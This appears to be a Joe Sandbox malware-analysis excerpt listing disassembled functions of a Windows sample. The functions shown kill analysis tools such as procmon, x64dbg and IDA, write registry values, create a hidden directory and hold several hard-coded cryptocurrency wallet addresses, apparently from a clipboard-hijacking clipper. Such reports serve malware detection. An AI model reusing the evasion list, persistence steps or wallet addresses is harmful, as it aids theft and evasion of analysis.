Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Filestrtok$lstrcmplstrlen$AttributesCopyDelete_getptdlstrcpy
String ID:
API String ID: 3928754753-0
Opcode ID: 69ab1e02483d50d6a6ebcaefcdd74d7f8472b56b7eb2f8c7d3e698012a23ad34
Instruction ID: 927cd8a587155462d1c0f3fc0dc0087f69161a77964b847b83919347d6c1ae72
Opcode Fuzzy Hash: 69ab1e02483d50d6a6ebcaefcdd74d7f8472b56b7eb2f8c7d3e698012a23ad34
Instruction Fuzzy Hash: 76512C6262CE9181EB64DB14F45837E63A0FBA8B48F604136F68DC3AA9DF3CD944D704

Function 00007FF60E63001C Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60E6310A0: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E630057), ref: 00007FF60E6310E8
Part of subcall function 00007FF60E6310A0: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E630057), ref: 00007FF60E631125
Part of subcall function 00007FF60E6310A0: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E630057), ref: 00007FF60E631130

Part of subcall function 00007FF60E6302E0: RegOpenKeyExW.ADVAPI32 ref: 00007FF60E630323
Part of subcall function 00007FF60E6302E0: RegSetValueExW.ADVAPI32 ref: 00007FF60E630359
Part of subcall function 00007FF60E6302E0: RegCloseKey.ADVAPI32 ref: 00007FF60E630368

Part of subcall function 00007FF60E630C08: RegDeleteKeyW.ADVAPI32 ref: 00007FF60E630C20

Part of subcall function 00007FF60E630E78: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF60E630E8B

Part of subcall function 00007FF60E630E78: Process32FirstW.KERNEL32 ref: 00007FF60E630EB5
Part of subcall function 00007FF60E630E78: CloseHandle.KERNEL32 ref: 00007FF60E630EC4

Part of subcall function 00007FF60E630E78: wcscmp.MSVCRT ref: 00007FF60E630ED9
Part of subcall function 00007FF60E630E78: OpenProcess.KERNEL32 ref: 00007FF60E630EEF
Part of subcall function 00007FF60E630E78: TerminateProcess.KERNEL32 ref: 00007FF60E630F09
Part of subcall function 00007FF60E630E78: CloseHandle.KERNEL32 ref: 00007FF60E630F14
Part of subcall function 00007FF60E630E78: Process32NextW.KERNEL32 ref: 00007FF60E630F24
Part of subcall function 00007FF60E630E78: CloseHandle.KERNEL32 ref: 00007FF60E630F33

Part of subcall function 00007FF60E630F48: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00007FF60E630830), ref: 00007FF60E630F77

Sleep.KERNEL32 ref: 00007FF60E630106

Strings

procmon.exe, xrefs: 00007FF60E6300E2
idaq64.exe, xrefs: 00007FF60E6300BE
procexp64.exe, xrefs: 00007FF60E63009A
Services, xrefs: 00007FF60E6300F5
autoruns.exe, xrefs: 00007FF60E6300D6
x64dbg.exe, xrefs: 00007FF60E6300B2
ProcessHacker.exe, xrefs: 00007FF60E630082
TOTALCMD.exe, xrefs: 00007FF60E6300A6
idaq.exe, xrefs: 00007FF60E6300CA
procexp.exe, xrefs: 00007FF60E63008E

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: fe3a8ccc8966489c9bf42d5c7acf8396356c702022448553b11e78d999c2d4d6
Instruction ID: 3e4764c878dd0612bb22c5c07db3e92d0000653ee0e9f0467094161c1ba8815e
Opcode Fuzzy Hash: fe3a8ccc8966489c9bf42d5c7acf8396356c702022448553b11e78d999c2d4d6
Instruction Fuzzy Hash: 37217461EB842795FA80AB74F9611B92760AFB4750FA04536F41EC21E7DE2CE54AE340

Function 00007FF60E630C44 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 42stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60E630D0C: GetWindowsDirectoryA.KERNEL32 ref: 00007FF60E630D41
Part of subcall function 00007FF60E630D0C: GetVolumeInformationA.KERNEL32 ref: 00007FF60E630DCF
Part of subcall function 00007FF60E630D0C: wsprintfA.USER32 ref: 00007FF60E630E5E

SHGetFolderPathA.SHELL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630C85
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630C97
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630CA7
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630CB4
SetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630CC4
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630CD6
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630CE6
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60E62DE7D), ref: 00007FF60E630CF8

Strings

.exe, xrefs: 00007FF60E630CEC

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 1e0782898900f0c9169d678093e814d4bf1776dfe6d0791ba9bb1146b86bc58f
Instruction ID: 7a6914f09b30fcf1b615adbee0f3d49c5ca58e8fdd21720ede63677c5bf5616d
Opcode Fuzzy Hash: 1e0782898900f0c9169d678093e814d4bf1776dfe6d0791ba9bb1146b86bc58f
Instruction Fuzzy Hash: AD115122B38953A7DB409B25F85457E6362FBD4B44FA09032FA4E83A39DE3CD049DB00

Function 00007FF60E62FE30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,00007FF60E62FDC9), ref: 00007FF60E62FE49
ReleaseMutex.KERNEL32 ref: 00007FF60E62FE61
CloseHandle.KERNEL32 ref: 00007FF60E62FE6C
GetLastError.KERNEL32 ref: 00007FF60E62FE79
ReleaseMutex.KERNEL32 ref: 00007FF60E62FE8B
CloseHandle.KERNEL32 ref: 00007FF60E62FE96

Strings

rbNSpGEsyb, xrefs: 00007FF60E62FE34

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 46ba0cd2de08216aef1d8b73fc81ba437baef2bc7f4b68b9de387672fb1d2dc8
Instruction ID: 7dec42ade9d6734bb90d014117e4f4e6830132f0c5b7fe56848cb3bc769a32a4
Opcode Fuzzy Hash: 46ba0cd2de08216aef1d8b73fc81ba437baef2bc7f4b68b9de387672fb1d2dc8
Instruction Fuzzy Hash: 41019B26A2CA6282E7209B11F85422D6370FBF8B55FA01536F98EC2765CF3CD944D640

Function 00007FF60E615B38 Relevance: 15.5, APIs: 1, Strings: 9, Instructions: 475sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60E61D8F4: shared_ptr.LIBCPMTD ref: 00007FF60E61D926

Part of subcall function 00007FF60E61D7D0: UnDecorator::getVbTableType.LIBCMTD ref: 00007FF60E61D7FF

Part of subcall function 00007FF60E615A5C: Concurrency::details::VirtualProcessorRoot::GetSchedulerProxy.LIBCMTD ref: 00007FF60E615A9D

Part of subcall function 00007FF60E613920: shared_ptr.LIBCPMTD ref: 00007FF60E613940

Part of subcall function 00007FF60E6159B8: GlobalAlloc.KERNEL32 ref: 00007FF60E6159DF
Part of subcall function 00007FF60E6159B8: GlobalLock.KERNEL32 ref: 00007FF60E6159FE
Part of subcall function 00007FF60E6159B8: GlobalUnlock.KERNEL32 ref: 00007FF60E615A1B

Sleep.KERNEL32 ref: 00007FF60E6166A9

Strings

LQwgkF3f1AAZZ3WuewhRobt2h15NWfivtx, xrefs: 00007FF60E615FBA
bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze, xrefs: 00007FF60E616100
0x6f5d22258243f738460e0e4fe1f8c0fa58ce9abe, xrefs: 00007FF60E615D2E
rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv, xrefs: 00007FF60E61638C
DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5, xrefs: 00007FF60E6164D2
13MUDpYmziJo8zMD2743Ygch5c1ae8QiNV, xrefs: 00007FF60E615BF1
TBid7Hs8NBHCPytFMgKc3VTvzFgL5KPMbb, xrefs: 00007FF60E615E74
addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0, xrefs: 00007FF60E616246
XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH, xrefs: 00007FF60E616600

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Global$shared_ptr$AllocConcurrency::details::Decorator::getLockProcessorProxyRoot::SchedulerSleepTableTypeUnlockVirtual
String ID: 0x6f5d22258243f738460e0e4fe1f8c0fa58ce9abe$13MUDpYmziJo8zMD2743Ygch5c1ae8QiNV$DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5$LQwgkF3f1AAZZ3WuewhRobt2h15NWfivtx$TBid7Hs8NBHCPytFMgKc3VTvzFgL5KPMbb$XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH$addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0$bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze$rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv
API String ID: 2382078925-3773165574
Opcode ID: 21d35d6f7c0a6df29142ddf1a1bf3c38aef0ed986b01762a66452d2035f17931
Instruction ID: 94a71912d9b797da3d36357ceed7a6179b9c851ba7f3fc8e4d87610902f6d8cf
Opcode Fuzzy Hash: 21d35d6f7c0a6df29142ddf1a1bf3c38aef0ed986b01762a66452d2035f17931
Instruction Fuzzy Hash: 8642F136619BD190DA72DB45F4902EAB3A4FBD8790F904132EACD87B5AEF2CD144DB40

Function 00007FF60E630E78 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF60E630E8B
Process32FirstW.KERNEL32 ref: 00007FF60E630EB5
CloseHandle.KERNEL32 ref: 00007FF60E630EC4

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 33d517ba9ed34bad332c22683f5269e417fb0aac9e56d6b41238f0337e4f5fc0
Instruction ID: c93cea4c1027e6e14862dce0897b38500015e0a33543de08e30e7e914034584d
Opcode Fuzzy Hash: 33d517ba9ed34bad332c22683f5269e417fb0aac9e56d6b41238f0337e4f5fc0
Instruction Fuzzy Hash: D9215422B2C96282E7A09F21F85433E6360FBE4B94F605235F59EC25A4DF3CD949D700

Function 00007FF60E63796B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__DestructExceptionObject.LIBCMT ref: 00007FF60E637996
RaiseException.KERNEL32 ref: 00007FF60E6379BF
__DestructExceptionObject.LIBCMT ref: 00007FF60E637A20
_getptd.LIBCMT ref: 00007FF60E637973

Part of subcall function 00007FF60E63572C: _getptd_noexit.LIBCMT ref: 00007FF60E635732

_getptd.LIBCMT ref: 00007FF60E637A25
_getptd.LIBCMT ref: 00007FF60E637A31

Strings

csm, xrefs: 00007FF60E6379F3

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Exception_getptd$DestructObject$Raise_getptd_noexit
String ID: csm
API String ID: 2851507484-1018135373
Opcode ID: 64d00ee2830e9379cd3ef173d90ae30a9ca42842e8ef135b9074179a121e00c4
Instruction ID: d45ff3634429551e8e5baeafd3950e5de094835b52feff680c46649fddced410
Opcode Fuzzy Hash: 64d00ee2830e9379cd3ef173d90ae30a9ca42842e8ef135b9074179a121e00c4
Instruction Fuzzy Hash: 2F213A7661865182D630DB22F04036E77A1F794BA0F104232FE9E47795CF3DE485DB00

Function 00007FF60E61C920 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60E61C930

Part of subcall function 00007FF60E640610: _lock.LIBCMT ref: 00007FF60E640622

__int64.LIBCPMTD ref: 00007FF60E61C948

Part of subcall function 00007FF60E61F6EC: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60E61F707

std::locale::_Getfacet.LIBCPMTD ref: 00007FF60E61C95F

Strings

bad cast, xrefs: 00007FF60E61C9A2

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: LockitLockit::_std::_$Getfacet__int64_lockstd::locale::_
String ID: bad cast
API String ID: 1826629674-3145022300
Opcode ID: 932e2d8308b347af2fb822a83c7166a45b16841b8f045a10c064c8219c059d73
Instruction ID: 4d2612c110842527eefde511e6ab56bf0a9c83b444b5dffe7a12777bc0de786a
Opcode Fuzzy Hash: 932e2d8308b347af2fb822a83c7166a45b16841b8f045a10c064c8219c059d73
Instruction Fuzzy Hash: FE212F2262CE5680DA61DB14F49026EB360FBA47A4F641232FA9E837B9DF3CD544DB40

Function 00007FF60E61CA20 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60E61CA30

Part of subcall function 00007FF60E640610: _lock.LIBCMT ref: 00007FF60E640622

__int64.LIBCPMTD ref: 00007FF60E61CA48

Part of subcall function 00007FF60E61F6EC: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60E61F707

std::locale::_Getfacet.LIBCPMTD ref: 00007FF60E61CA5F

Strings

bad cast, xrefs: 00007FF60E61CAA2

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: LockitLockit::_std::_$Getfacet__int64_lockstd::locale::_
String ID: bad cast
API String ID: 1826629674-3145022300
Opcode ID: 6686d453f540abfc75b9a040e882549689efe832026ee8754cd51114fbe3f1ce
Instruction ID: 2fbc54e954e6bb8a9e80f5e9d4fbb3e2ddad00fd309ed16ca9cf06374329bfc3
Opcode Fuzzy Hash: 6686d453f540abfc75b9a040e882549689efe832026ee8754cd51114fbe3f1ce
Instruction Fuzzy Hash: D2212F2262CE5681DA61DB14F49026EB360FBA47A4F644232FA9E837B9DF3CD544DB00

Function 00007FF60E6363C4 Relevance: 12.2, APIs: 8, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 00007FF60E6363ED

Part of subcall function 00007FF60E634254: malloc.LIBCMT ref: 00007FF60E63427F
Part of subcall function 00007FF60E634254: Sleep.KERNEL32(?,?,?,00007FF60E63AD9C,?,?,?,00007FF60E63AC9B,?,?,00000000,00007FF60E635832,?,?,00000000,00007FF60E6357A6), ref: 00007FF60E634292

free.LIBCMT ref: 00007FF60E6364EE
free.LIBCMT ref: 00007FF60E63650A

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: free$Sleep_malloc_crtmalloc
String ID:
API String ID: 2523592665-0
Opcode ID: 9dc3a43cf0aa1fcfdc29037b235636b50873e9ffe005ada4d84142dea13232af
Instruction ID: e168ea4521cdde832168e67e8e27e92752f2ce32025426afd58dd2b808baeeb8
Opcode Fuzzy Hash: 9dc3a43cf0aa1fcfdc29037b235636b50873e9ffe005ada4d84142dea13232af
Instruction Fuzzy Hash: 5B61C332B18761A2EA10DF26F95026D73A0FB94764F244135FE4D87B52DF3CE466A340

Function 00007FF60E631D88 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF60E631DA5
_errno.LIBCMT ref: 00007FF60E631D9A

Part of subcall function 00007FF60E6359A4: _getptd_noexit.LIBCMT ref: 00007FF60E6359A8

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60E631DED
_errno.LIBCMT ref: 00007FF60E631DFC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF60E631E07

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 64063577f5759fc087550664f9166848bfe9c81f154bd90bd0409ab7649f8bd4
Instruction ID: 2c0c76f4f1d6834fd0d6c8af5d3b591a195f7c51fb645cf5b35e0f44feeae16c
Opcode Fuzzy Hash: 64063577f5759fc087550664f9166848bfe9c81f154bd90bd0409ab7649f8bd4
Instruction Fuzzy Hash: C821EA52F2D3A242FB615731B44037952A0AFA6790F744231F5AD877D6CE5DD541A700

Function 00007FF60E62CD90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF60E62CDAC

Part of subcall function 00007FF60E63244C: _FF_MSGBANNER.LIBCMT ref: 00007FF60E63247C
Part of subcall function 00007FF60E63244C: _NMSG_WRITE.LIBCMT ref: 00007FF60E632486
Part of subcall function 00007FF60E63244C: HeapAlloc.KERNEL32(?,?,00000000,00007FF60E634284,?,?,?,00007FF60E63AD9C,?,?,?,00007FF60E63AC9B,?,?,00000000,00007FF60E635832), ref: 00007FF60E6324A1
Part of subcall function 00007FF60E63244C: _callnewh.LIBCMT ref: 00007FF60E6324BA
Part of subcall function 00007FF60E63244C: _errno.LIBCMT ref: 00007FF60E6324C5
Part of subcall function 00007FF60E63244C: _errno.LIBCMT ref: 00007FF60E6324D0

GetUserNameA.ADVAPI32 ref: 00007FF60E62CDD8
free.LIBCMT ref: 00007FF60E62CDEA

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: _errno$AllocHeapNameUser_callnewhfreemalloc
String ID:
API String ID: 982591855-0
Opcode ID: cadc991865815251f5f87effce6c4517c62175ad35677cb75216a9f745d246b1
Instruction ID: 8925d866404c97656941f7f852581bd60267267972ea3392939c20c9e15ec48b
Opcode Fuzzy Hash: cadc991865815251f5f87effce6c4517c62175ad35677cb75216a9f745d246b1
Instruction Fuzzy Hash: C821B936718A55C6EB109F25E45032EB3A0F7E9B84F608435FA8D87766DF7DD844AB00

Function 00007FF60E62FEC8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF60E62FEDA
ReleaseMutex.KERNEL32 ref: 00007FF60E62FEF2
CloseHandle.KERNEL32 ref: 00007FF60E62FEFD
GetLastError.KERNEL32 ref: 00007FF60E62FF0A
ReleaseMutex.KERNEL32 ref: 00007FF60E62FF1C
CloseHandle.KERNEL32 ref: 00007FF60E62FF27

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: fded58dde77be56de6fab05177e5339cc4062db6b0d45a6a30c187912645d6f3
Instruction ID: 84afee2b7452099987fa2103009c23ff9db4d4acbd16796bb41dee00da12e73c
Opcode Fuzzy Hash: fded58dde77be56de6fab05177e5339cc4062db6b0d45a6a30c187912645d6f3
Instruction Fuzzy Hash: 4501DE23B2CA5282E7209B11F85422D6370FBF8B45FA01136F98EC2665CF3CDD45D650

Function 00007FF60E625414 Relevance: 10.7, APIs: 7, Instructions: 247COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E6254C1
type_info::_name_internal_method.LIBCMTD ref: 00007FF60E62550A
_Ucopy.LIBCPMTD ref: 00007FF60E62559E
_Ucopy.LIBCPMTD ref: 00007FF60E6255E8

